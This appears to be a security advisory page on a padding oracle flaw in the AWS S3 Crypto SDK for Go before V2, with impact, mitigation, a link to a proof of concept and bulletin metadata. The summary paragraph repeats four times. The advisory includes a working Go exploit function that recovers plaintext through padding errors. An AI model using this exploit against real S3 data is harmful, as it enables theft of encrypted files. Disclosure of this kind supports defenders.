A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
### Summary
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.
### Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
### Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.
This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.
This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.
### Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.
### Proof of concept
A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.
This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go):
```golang
func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
}
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
padding := byte(len(data) - length)
plaintext := make([]byte, length)
for i := length - 1; i >= 0; i-- {
newLength := 16 * (i/16 + 1)
dataCopy := make([]byte, newLength)
headerCopy := header.Clone()
copy(dataCopy, data)
// Set Padding
newPadding := byte(newLength - i)
for j := i + 1; j < newLength; j++ {
var oldValue byte
if j >= length {
oldValue = padding
} else {
oldValue = plaintext[j]
}
dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
if err != nil {
return "", err
}
}
// Guess
for c := 0; c < 256; c++ {
dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
if input.Oracle(bucket, key+"guess") {
plaintext[i] = byte(c)
break
}
dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
}
}
return string(plaintext), nil
}
```
A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 11, 2020, 7:20:14 PM
dateUpdated: Aug 4, 2024, 10:12:11 AM
3 related source bulletins · separate from aliases
WID-SEC-W-2024-0794: Dell ECS: Mehrere Schwachstellen
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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.